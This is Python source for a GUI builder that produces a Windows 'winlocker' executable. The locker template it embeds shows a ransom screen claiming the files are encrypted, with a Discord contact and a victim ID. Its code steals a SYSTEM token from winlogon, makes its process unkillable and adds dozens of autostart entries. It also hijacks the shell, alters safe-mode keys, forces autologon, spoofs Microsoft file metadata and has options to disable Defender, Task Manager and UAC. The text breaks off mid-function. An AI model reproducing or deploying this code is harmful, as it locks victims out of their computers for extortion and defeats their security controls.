Загрузка данных
"""
builder.py — GUI-билдер винлокера для Windows. Один файл.
Запуск: python builder.py
Сборка: pip install pyinstaller
"""
from __future__ import annotations
import base64
import json
import shutil
import struct
import subprocess
import sys
import threading
import tkinter as tk
from pathlib import Path
from tkinter import colorchooser, messagebox
from tkinter import ttk
from typing import Any, Final
BG: Final = "#0a0a0a"
FG: Final = "#ff2d95"
PANEL: Final = "#1a0a14"
INPUT_BG: Final = "#1f0f1a"
INPUT_FG: Final = "#ffffff"
BTN_BG: Final = "#ff2d95"
BTN_FG: Final = "#0a0a0a"
OUTPUT_EXE_NAME: Final = "winlocker"
VERSION_INFO_TEMPLATE: Final = """VSVersionInfo(
ffi=FixedFileInfo(filevers=(10,0,19041,1), prodvers=(10,0,19041,1), mask=0x3f, flags=0x0, OS=0x40004, fileType=0x1, subtype=0x0, date=(0,0)),
kids=[
StringFileInfo([StringTable('040904B0', [
StringStruct('CompanyName', 'Microsoft Corporation'),
StringStruct('FileDescription', 'Windows Lock'),
StringStruct('FileVersion', '10.0.19041.1'),
StringStruct('InternalName', 'winlocker'),
StringStruct('LegalCopyright', '© Microsoft Corporation. All rights reserved.'),
StringStruct('OriginalFilename', 'winlocker.exe'),
StringStruct('ProductName', 'Microsoft® Windows® Operating System'),
StringStruct('ProductVersion', '10.0.19041.1')
])]),
VarFileInfo([VarStruct('Translation', [1033, 1200])])
]
)
"""
def extract_generic_icon(output_path):
try:
import ctypes
import ctypes.wintypes as wt
user32 = ctypes.WinDLL("user32", use_last_error=True)
shell32 = ctypes.WinDLL("shell32", use_last_error=True)
gdi32 = ctypes.WinDLL("gdi32", use_last_error=True)
hIcon = shell32.ExtractIconW(None, "shell32.dll", 0)
if not hIcon or hIcon == 1:
return False
class ICONINFO(ctypes.Structure):
_fields_ = [("fIcon", wt.BOOL), ("xHotspot", wt.DWORD), ("yHotspot", wt.DWORD),
("hbmMask", wt.HBITMAP), ("hbmColor", wt.HBITMAP)]
class BITMAP(ctypes.Structure):
_fields_ = [("bmType", ctypes.c_long), ("bmWidth", ctypes.c_long), ("bmHeight", ctypes.c_long),
("bmWidthBytes", ctypes.c_long), ("bmPlanes", ctypes.c_ushort),
("bmBitsPixel", ctypes.c_ushort), ("bmBits", ctypes.c_void_p)]
class BIH(ctypes.Structure):
_fields_ = [("biSize", wt.DWORD), ("biWidth", ctypes.c_long), ("biHeight", ctypes.c_long),
("biPlanes", wt.WORD), ("biBitCount", wt.WORD), ("biCompression", wt.DWORD),
("biSizeImage", wt.DWORD), ("biXPelsPerMeter", ctypes.c_long),
("biYPelsPerMeter", ctypes.c_long), ("biClrUsed", wt.DWORD), ("biClrImportant", wt.DWORD)]
ii = ICONINFO()
if not user32.GetIconInfo(hIcon, ctypes.byref(ii)):
user32.DestroyIcon(hIcon)
return False
bm = BITMAP()
gdi32.GetObjectW(ii.hbmColor, ctypes.sizeof(BITMAP), ctypes.byref(bm))
w, h = bm.bmWidth, bm.bmHeight
bih = BIH()
bih.biSize = ctypes.sizeof(BIH)
bih.biWidth = w
bih.biHeight = -h
bih.biPlanes = 1
bih.biBitCount = 32
hdc = user32.GetDC(None)
buf_size = w * h * 4
buf = (ctypes.c_ubyte * buf_size)()
gdi32.GetDIBits(hdc, ii.hbmColor, 0, h, buf, ctypes.byref(bih), 0)
user32.ReleaseDC(None, hdc)
user32.DestroyIcon(hIcon)
icondir = struct.pack("<HHH", 0, 1, 1)
wb = 0 if w >= 256 else w
hb = 0 if h >= 256 else h
dh = struct.pack("<IiiHHIIiiII", 40, w, h * 2, 1, 32, 0, buf_size, 0, 0, 0, 0)
pixels = bytearray(buf)
row = w * 4
flipped = bytearray(buf_size)
for y in range(h):
src = y * row
dst = (h - 1 - y) * row
flipped[dst:dst + row] = pixels[src:src + row]
mask = b"\x00" * (((w + 31) // 32) * 4 * h)
image_data = dh + bytes(flipped) + mask
icondirentry = struct.pack("<BBBBHHII", wb, hb, 0, 0, 1, 32, len(image_data), 22)
with open(output_path, "wb") as f:
f.write(icondir)
f.write(icondirentry)
f.write(image_data)
return True
except Exception:
return False
LOCKER_TEMPLATE: Final = r'''from __future__ import annotations
import base64
import ctypes
import ctypes.wintypes as wt
import getpass
import hashlib
import hmac
import json
import logging
import os
import random
import secrets
import shutil
import string
import subprocess
import sys
import tempfile
import threading
import time
import tkinter as tk
import winreg
from dataclasses import dataclass
from pathlib import Path
from tkinter import font as tkfont
from typing import Final
CONFIG_B64: Final = "{config_b64}"
def _decode(b):
try:
return json.loads(base64.b64decode(b).decode("utf-8"))
except Exception:
return {{}}
CFG = _decode(CONFIG_B64)
PASSWORD = str(CFG.get("password", "2026"))
USER_PASSWORD = str(CFG.get("user_password", ""))
DISCORD_TAG = str(CFG.get("discord", "kvinti99_32376"))
TITLE_TEXT = str(CFG.get("title", "СИСТЕМА ЗАБЛОКИРОВАНА"))
SUBTITLE_TEXT = str(CFG.get("subtitle", "Все файлы зашифрованы."))
AUTO_UNLOCK_SECONDS = int(CFG.get("auto_unlock_seconds", 0))
SHOW_FAKE_BOOT = bool(CFG.get("show_fake_boot", True))
LOCK_SAFE_MODE = bool(CFG.get("lock_safe_mode", True))
BLOCK_TASKMGR = bool(CFG.get("block_taskmgr", True))
BLOCK_CMD = bool(CFG.get("block_cmd", True))
KILL_EXPLORER = bool(CFG.get("kill_explorer", True))
USE_AUTOSTART = bool(CFG.get("install_autostart", True))
USE_SHELL_HIJACK = bool(CFG.get("shell_hijack", True))
DISABLE_UAC_WHILE_LOCKED = bool(CFG.get("disable_uac_while_locked", True))
FULL_LOCKDOWN = bool(CFG.get("full_lockdown", True))
BULK_AUTOSTART = bool(CFG.get("bulk_autostart", True))
DISABLE_DEFENDER = bool(CFG.get("disable_defender", True))
ENABLE_AUTOLOGON = bool(CFG.get("enable_autologon", True))
AUTOSTART_COUNT = int(CFG.get("autostart_count", 30))
PBKDF2_ITERATIONS = 200_000
SALT_BYTES = 16
APP_DIR = Path(sys.executable).parent if getattr(sys, "frozen", False) else Path(__file__).parent
LOG_FILE = APP_DIR / "winlocker.log"
POLICIES_SYSTEM = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
POLICIES_EXPLORER = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
POLICIES_WINLOGON = r"Software\Microsoft\Windows\CurrentVersion\Policies\Winlogon"
POLICIES_DESKTOP = r"Software\Policies\Microsoft\Windows\Control Panel\Desktop"
POLICIES_NETWORK = r"Software\Microsoft\Windows\CurrentVersion\Policies\Network"
POLICIES_ACTIVEDESKTOP = r"Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop"
POLICIES_EXPLORER_MS = r"Software\Policies\Microsoft\Windows\Explorer"
POLICIES_SYSTEM_MS = r"Software\Policies\Microsoft\Windows\System"
POLICIES_PERSONALIZATION = r"Software\Microsoft\Windows\CurrentVersion\Policies\System\Personalization"
POLICIES_PUSH = r"Software\Policies\Microsoft\PushToInstall"
POLICIES_STORE = r"Software\Policies\Microsoft\WindowsStore"
POLICIES_UAC = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
POLICIES_UPDATE = r"Software\Policies\Microsoft\Windows\WindowsUpdate\AU"
POLICIES_UPDATE_UX = r"Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate"
POLICIES_UPDATE_UX_MS = r"Software\Policies\Microsoft\Windows\WindowsUpdate"
HKLM_SAFEBOOT = r"SYSTEM\CurrentControlSet\Control\SafeBoot"
HKLM_SAFEBOOT_MINIMAL = HKLM_SAFEBOOT + r"\Minimal"
HKLM_SAFEBOOT_NETWORK = HKLM_SAFEBOOT + r"\Network"
HKLM_SAFEBOOT_MINIMAL_BAK = HKLM_SAFEBOOT + r"\Minimal.bak"
HKLM_SAFEBOOT_NETWORK_BAK = HKLM_SAFEBOOT + r"\Network.bak"
HKLM_WINLOGON = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
RUN_KEY_HKCU = r"Software\Microsoft\Windows\CurrentVersion\Run"
RUN_KEY_HKLM = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
RUNONCE_KEY_HKCU = r"Software\Microsoft\Windows\CurrentVersion\RunOnce"
RUNONCE_KEY_HKLM = r"SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
STARTUP_APPROVED_HKCU = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run"
STARTUP_APPROVED_HKLM = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run"
POLICY_RUN_HKCU = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
POLICY_RUN_HKLM = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
ACTIVE_SETUP = r"SOFTWARE\Microsoft\Active Setup\Installed Components"
SHELL_VALUE_NAME = "Shell"
SHELL_LOCKED_VALUE = ""
SHELL_DEFAULT_VALUE = "explorer.exe"
AUTOSTART_NAMES = tuple("SystemLocker{{:02d}}".format(i) for i in range(1, AUTOSTART_COUNT + 1))
TASK_NAMES = tuple("SystemLockerTask{{:02d}}".format(i) for i in range(1, AUTOSTART_COUNT + 1))
RUNONCE_NAMES = tuple("WinlockerSetup{{:02d}}".format(i) for i in range(1, 11))
POLICY_RUN_NAMES = tuple("WinlockerPol{{:02d}}".format(i) for i in range(1, 11))
ACTIVE_SETUP_GUIDS = tuple("{{A1B2C3D4-{:04X}-4E5F-8A9B-000000000001}}".format(i) for i in range(1, 11))
user32 = ctypes.WinDLL("user32", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
ntdll = ctypes.WinDLL("ntdll")
MOD_WIN = 0x0008
MOD_NOREPEAT = 0x4000
VK_L = 0x4C
HOTKEY_ID_WIN_L = 1
SERVICE_NAME = "winlocker"
VICTIM_ID = "10-A" + "".join(random.choices(string.hexdigits.upper(), k=6))
HIDE_MARKER = APP_DIR / ".winlocker.dat"
REAPER_ART = r"""
...
;::::;
;::::; :;
;:::::' :;
;:::::; ;.
,:::::' ; OOO\
::::::; ; OOOOO\
;:::::; ; OOOOOOOO
,;::::::; ;' / OOOOOOO
;:::::::::`. ,,,;. / / DOOOOOO
.';:::::::::::::::::;, / / DOOOO
,::::::;::::::;;;;::::;, / / DOOO
;`::::::`'::::::;;;::::: ,#/ / DOOO
:`:::::::`;::::::;;::: ;::# / DOOO
::`:::::::`;:::::::: ;::::# / DOO
`:`:::::::`;:::::: ;::::::#/ DOO
:::`:::::::`;; ;:::::::::## OO
::::`:::::::`;::::::::;:::# OO
`:::::`::::::::::::;'`:;::# O
`:::::`::::::::;' / / `:#
::::::`:::::;' / / `#
"""
BOOT_ERRORS = [
"Boot error: 0x03841067",
"Boot error: 0x00273213",
"Boot error: 0x09124583",
"Boot error: 0x06451293",
"Boot error: 0x07203481",
"Boot error: 0x05091274",
"Boot error: 0x08316402",
"Boot error: 0x02748150",
]
@dataclass
class PasswordDigest:
hash_hex: str
salt_hex: str
@classmethod
def from_password(cls, password):
salt = secrets.token_bytes(SALT_BYTES)
dk = hashlib.pbkdf2_hmac("sha256", password.encode("utf-8"), salt, PBKDF2_ITERATIONS)
return cls(dk.hex(), salt.hex())
def verify(self, password):
try:
salt = bytes.fromhex(self.salt_hex)
expected = bytes.fromhex(self.hash_hex)
except ValueError:
return False
dk = hashlib.pbkdf2_hmac("sha256", password.encode("utf-8"), salt, PBKDF2_ITERATIONS)
return hmac.compare_digest(dk, expected)
def setup_logging():
logger = logging.getLogger("winlocker")
logger.setLevel(logging.INFO)
if not logger.handlers:
try:
h = logging.FileHandler(LOG_FILE, encoding="utf-8")
h.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
logger.addHandler(h)
except OSError:
logger.addHandler(logging.NullHandler())
return logger
def _set_dword(hive, subkey, name, value):
try:
with winreg.CreateKeyEx(hive, subkey, 0, winreg.KEY_SET_VALUE) as key:
winreg.SetValueEx(key, name, 0, winreg.REG_DWORD, value)
except OSError:
pass
def _set_sz(hive, subkey, name, value):
try:
with winreg.CreateKeyEx(hive, subkey, 0, winreg.KEY_SET_VALUE) as key:
winreg.SetValueEx(key, name, 0, winreg.REG_SZ, value)
except OSError:
pass
def _set_binary(hive, subkey, name, value):
try:
with winreg.CreateKeyEx(hive, subkey, 0, winreg.KEY_SET_VALUE) as key:
winreg.SetValueEx(key, name, 0, winreg.REG_BINARY, value)
except OSError:
pass
def _del_value(hive, subkey, name):
try:
with winreg.OpenKey(hive, subkey, 0, winreg.KEY_SET_VALUE) as key:
winreg.DeleteValue(key, name)
except (FileNotFoundError, OSError):
pass
def _broadcast():
try:
user32.SendMessageW(0xFFFF, 0x001A, 0, ctypes.c_wchar_p("Policy"))
except Exception:
pass
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [("dwSize", ctypes.c_ulong), ("cntUsage", ctypes.c_ulong), ("th32ProcessID", ctypes.c_ulong),
("th32DefaultHeapID", ctypes.POINTER(ctypes.c_ulong)), ("th32ModuleID", ctypes.c_ulong),
("cntThreads", ctypes.c_ulong), ("th32ParentProcessID", ctypes.c_ulong),
("pcPriClassBase", ctypes.c_long), ("dwFlags", ctypes.c_ulong), ("szExeFile", ctypes.c_char * 260)]
class STARTUPINFOW(ctypes.Structure):
_fields_ = [("cb", ctypes.c_ulong), ("lpReserved", ctypes.c_wchar_p), ("lpDesktop", ctypes.c_wchar_p),
("lpTitle", ctypes.c_wchar_p), ("dwX", ctypes.c_ulong), ("dwY", ctypes.c_ulong),
("dwXSize", ctypes.c_ulong), ("dwYSize", ctypes.c_ulong), ("dwXCountChars", ctypes.c_ulong),
("dwYCountChars", ctypes.c_ulong), ("dwFillAttribute", ctypes.c_ulong), ("dwFlags", ctypes.c_ulong),
("wShowWindow", ctypes.c_ushort), ("cbReserved2", ctypes.c_ushort), ("lpReserved2", ctypes.c_void_p),
("hStdInput", ctypes.c_void_p), ("hStdOutput", ctypes.c_void_p), ("hStdError", ctypes.c_void_p)]
class PROCESS_INFORMATION(ctypes.Structure):
_fields_ = [("hProcess", ctypes.c_void_p), ("hThread", ctypes.c_void_p),
("dwProcessId", ctypes.c_ulong), ("dwThreadId", ctypes.c_ulong)]
def find_pid_by_name(name):
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = -1
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if snapshot == INVALID_HANDLE_VALUE:
return None
entry = PROCESSENTRY32()
entry.dwSize = ctypes.sizeof(PROCESSENTRY32)
pid = None
if kernel32.Process32First(snapshot, ctypes.byref(entry)):
while True:
if entry.szExeFile.decode("utf-8", "ignore").lower() == name.lower():
pid = entry.th32ProcessID
break
if not kernel32.Process32Next(snapshot, ctypes.byref(entry)):
break
kernel32.CloseHandle(snapshot)
return pid
def enable_privilege(name):
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_QUERY = 0x0008
SE_PRIVILEGE_ENABLED = 0x0002
class LUID(ctypes.Structure):
_fields_ = [("LowPart", ctypes.c_ulong), ("HighPart", ctypes.c_long)]
class LUID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [("Luid", LUID), ("Attributes", ctypes.c_ulong)]
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [("PrivilegeCount", ctypes.c_ulong), ("Privileges", LUID_AND_ATTRIBUTES * 1)]
hToken = ctypes.c_void_p()
if not advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ctypes.byref(hToken)):
return False
luid = LUID()
if not advapi32.LookupPrivilegeValueW(None, name, ctypes.byref(luid)):
kernel32.CloseHandle(hToken)
return False
tp = TOKEN_PRIVILEGES()
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
r = advapi32.AdjustTokenPrivileges(hToken, False, ctypes.byref(tp), 0, None, None)
kernel32.CloseHandle(hToken)
return bool(r)
def get_system_token():
enable_privilege("SeDebugPrivilege")
pid = find_pid_by_name("winlogon.exe")
if not pid:
return None
hProcess = kernel32.OpenProcess(0x0400, False, pid)
if not hProcess:
return None
hToken = ctypes.c_void_p()
if not advapi32.OpenProcessToken(hProcess, 0x0002 | 0x0008 | 0x0004 | 0x0001, ctypes.byref(hToken)):
kernel32.CloseHandle(hProcess)
return None
hDupToken = ctypes.c_void_p()
if not advapi32.DuplicateTokenEx(hToken, 0x0002 | 0x0008 | 0x0004 | 0x0001, None, 2, 1, ctypes.byref(hDupToken)):
kernel32.CloseHandle(hToken)
kernel32.CloseHandle(hProcess)
return None
kernel32.CloseHandle(hToken)
kernel32.CloseHandle(hProcess)
return hDupToken
def set_token_session(token, session_id=1):
TokenSessionId = 12
sid = ctypes.c_ulong(session_id)
return advapi32.SetTokenInformation(token, TokenSessionId, ctypes.byref(sid), ctypes.sizeof(sid))
def launch_as_system(exe_path, args="", session_id=1):
token = get_system_token()
if not token:
return False
set_token_session(token, session_id)
si = STARTUPINFOW()
si.cb = ctypes.sizeof(si)
si.lpDesktop = "winsta0\\default"
pi = PROCESS_INFORMATION()
r = advapi32.CreateProcessWithTokenW(token, 0x00000001, exe_path, args,
0x00000010 | 0x00000400, None, None,
ctypes.byref(si), ctypes.byref(pi))
kernel32.CloseHandle(token)
if r:
kernel32.CloseHandle(pi.hProcess)
kernel32.CloseHandle(pi.hThread)
return True
return False
def is_system():
try:
return getpass.getuser().lower() == "system"
except Exception:
return False
def _exe_path():
if getattr(sys, "frozen", False):
return str(Path(sys.executable).resolve())
return str(Path(sys.argv[0]).resolve())
def relaunch_as_system(logger):
if is_system():
return True
exe = _exe_path()
args = " ".join('"' + a + '"' for a in sys.argv[1:] if a != "--system-child")
args += " --system-child"
if launch_as_system(exe, args):
logger.info("Relaunched as SYSTEM")
return True
logger.error("SYSTEM relaunch failed")
return False
def make_process_unkillable(logger):
try:
hProcess = kernel32.OpenProcess(0x0400 | 0x1000, False, kernel32.GetCurrentProcessId())
if not hProcess:
return
sddl = ("D:(D;;0x00000001;;;WD)(D;;0x00040000;;;WD)(D;;0x00080000;;;WD)"
"(D;;0x00000001;;;BA)(D;;0x00040000;;;BA)(D;;0x00080000;;;BA)"
"(D;;0x00000001;;;IU)(D;;0x00040000;;;IU)(D;;0x00080000;;;IU)"
"(A;;0x1F0FFF;;;SY)")
sd = ctypes.c_void_p()
if not advapi32.ConvertStringSecurityDescriptorToSecurityDescriptorW(sddl, 1, ctypes.byref(sd), None):
kernel32.CloseHandle(hProcess)
return
advapi32.SetSecurityInfo(hProcess, 6, 0x00000004, None, None, None, sd)
kernel32.CloseHandle(hProcess)
except Exception:
pass
def enable_autologon(logger):
user = os.environ.get("USERNAME", "")
domain = os.environ.get("USERDOMAIN", "")
if not user or user.lower() == "system":
return
_set_sz(winreg.HKEY_LOCAL_MACHINE, HKLM_WINLOGON, "AutoAdminLogon", "1")
_set_sz(winreg.HKEY_LOCAL_MACHINE, HKLM_WINLOGON, "DefaultUserName", user)
_set_sz(winreg.HKEY_LOCAL_MACHINE, HKLM_WINLOGON, "DefaultDomainName", domain)
_set_sz(winreg.HKEY_LOCAL_MACHINE, HKLM_WINLOGON, "ForceAutoLogon", "1")
_set_sz(winreg.HKEY_LOCAL_MACHINE, HKLM_WINLOGON, "AutoLogonCount", "999999")
if USER_PASSWORD:
_set_sz(winreg.HKEY_LOCAL_MACHINE, HKLM_WINLOGON, "DefaultPassword", USER_PASSWORD)
def clear_autologon_password(logger):
_del_value(winreg.HKEY_LOCAL_MACHINE, HKLM_WINLOGON, "DefaultPassword")
def disable_autologon(logger):
for name in ("AutoAdminLogon",